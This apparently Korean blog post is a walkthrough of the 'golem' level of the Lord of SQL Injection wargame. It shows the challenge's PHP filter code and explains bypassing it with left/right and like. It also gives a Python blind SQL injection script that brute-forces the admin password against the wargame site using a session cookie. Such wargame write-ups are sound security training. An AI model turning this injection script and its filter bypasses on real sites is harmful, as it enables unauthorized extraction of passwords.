-
LOS golemWebHacking/Load Of Sql Injection 2018. 2. 13. 19:51123456789101112131415161718<?phpinclude "./config.php";login_chk();dbconnect();if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";echo "<hr>query : <strong>{$query}</strong><hr><br>";$result = @mysql_fetch_array(mysql_query($query));if($result['id']) echo "<h2>Hello {$result[id]}</h2>";$_GET[pw] = addslashes($_GET[pw]);$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";$result = @mysql_fetch_array(mysql_query($query));if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");highlight_file(__FILE__);?>
cs substr함수가 막혓기때문에 left, right를 이용하여서 문제를 풀수있다.
right로 패스워드 길이만큼 8글자를 가져와서 left로 왼쪽글자 한글자를 가져오는 방식으로 right 개수를 빼가지고 패스워드 2,3,4,5,6,7,8 전부 다 얻어올수있다.
패스워드 길이는 블라인드 이전까지 문제와 동일하듯이 length(pw)로 가능하다. = 이 필터링 되어있기때문에 like를 이용하면된다.
12345678910111213141516171819202122232425262728293031323334import urllib2j = 1input_ = 33 #0passwd = ''i = 0num = 8while(True):url = 'https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=0\' || id like \'admin\' %26%26 'url += 'left(right(pw,%d),1) like \'%s'%(num,chr(input_))url += '%\'%23' #end quote + ##print urlreq = urllib2.Request(url)req.add_header('User-Agent','Mozilla/5.0')req.add_header('cookie','PHPSESSID=64993gb9j1ho5btp320oehf3h1')data = urllib2.urlopen(req).read()if '<h2>Hello admin</h2>' in data:print 'Search %s' %(chr(input_))#print 'idx: %d' %(num)passwd += chr(input_)if len(passwd) == 8:breakinput_ = 33num -= 1else:print chr(input_) + 'failed'input_ += 1if(input_ == 37):input_ += 1print 'Key is '+passwdcs 'WebHacking > Load Of Sql Injection' 카테고리의 다른 글
LOS bugbear (0) 2018.02.15 LOS darkknight (0) 2018.02.15 LOS skeleton (0) 2018.02.13 LOS vampire (0) 2018.02.13 LOS troll (0) 2018.02.13